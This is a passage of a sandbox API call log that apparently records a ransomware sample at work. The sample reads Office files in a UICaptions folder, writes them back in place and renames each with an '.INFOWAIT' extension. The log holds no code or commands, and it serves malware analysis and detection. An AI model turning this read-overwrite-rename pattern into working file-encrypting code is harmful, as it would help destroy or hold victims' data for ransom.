dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.408] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.408] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.408] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb960 [0126.408] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.408] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.408] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb960, lpOverlapped=0x0) returned 1 [0126.501] VirtualAlloc (lpAddress=0x0, dwSize=0xb960, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0126.506] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.506] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb960, lpOverlapped=0x0) returned 1 [0126.507] CloseHandle (hObject=0xad4) returned 1 [0126.507] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" [0126.507] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.INFOWAIT" [0126.507] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll.infowait")) returned 1 [0126.508] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.509] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.510] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.511] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39960 [0126.511] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.511] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.511] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0126.692] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0126.703] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.703] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0126.704] CloseHandle (hObject=0xad4) returned 1 [0126.704] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" [0126.704] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.INFOWAIT" [0126.704] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll.infowait")) returned 1 [0126.704] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.705] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.706] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.706] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.706] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x47d60 [0126.706] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.706] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.706] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0126.941] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0126.950] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.950] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0126.951] CloseHandle (hObject=0xad4) returned 1 [0126.951] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" [0126.951] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.INFOWAIT" [0126.951] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll.infowait")) returned 1 [0126.951] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.952] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.953] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.953] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.954] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc160 [0126.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.954] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.954] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc160, lpOverlapped=0x0) returned 1 [0127.148] VirtualAlloc (lpAddress=0x0, dwSize=0xc160, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0127.151] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.152] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc160, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc160, lpOverlapped=0x0) returned 1 [0127.152] CloseHandle (hObject=0xad4) returned 1 [0127.152] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" [0127.152] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.INFOWAIT" [0127.152] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll.infowait")) returned 1 [0127.160] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.161] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.161] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.161] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0127.161] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16f60 [0127.161] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.162] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.162] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16f60, lpOverlapped=0x0) returned 1 [0127.242] VirtualAlloc (lpAddress=0x0, dwSize=0x16f60, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0127.248] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.248] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x16f60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x16f60, lpOverlapped=0x0) returned 1 [0127.248] CloseHandle (hObject=0xad4) returned 1 [0127.248] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" [0127.248] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.INFOWAIT" [0127.249] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll.infowait")) returned 1 [0127.249] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.250] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.251] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.251] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0127.251] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2b2560 [0127.251] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.251] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.251] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0127.300] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0127.309] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.309] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0127.310] CloseHandle (hObject=0xad4) returned 1 [0127.310] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" [0127.310] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.INFOWAIT" [0127.310] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll.infowait")) returned 1 [0127.313] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.314] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.314] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.314] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0127.315] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb360 [0127.315] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.315] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.315] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb360, lpOverlapped=0x0) returned 1 [0127.384] VirtualAlloc (lpAddress=0x0, dwSize=0xb360, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0127.388] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.388] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb360, lpOverlapped=0x0) returned 1 [0127.389] CloseHandle (hObject=0xad4) returned 1 [0127.389] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" [0127.389] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.INFOWAIT" [0127.389] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll.infowait")) returned 1 [0127.390] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.391] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.391] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.391] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0127.392] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b60 [0127.392] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.392] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.392] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7b60, lpOverlapped=0x0) returned 1 [0127.601] VirtualAlloc (lpAddress=0x0, dwSize=0x7b60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0127.604] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.604] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7b60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7b60, lpOverlapped=0x0) returned 1 [0127.605] CloseHandle (hObject=0xad4) returned 1 [0127.605] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" [0127.605] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.INFOWAIT" [0127.605] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll.infowait")) returned 1 [0127.606] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.607] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.607] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.608] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 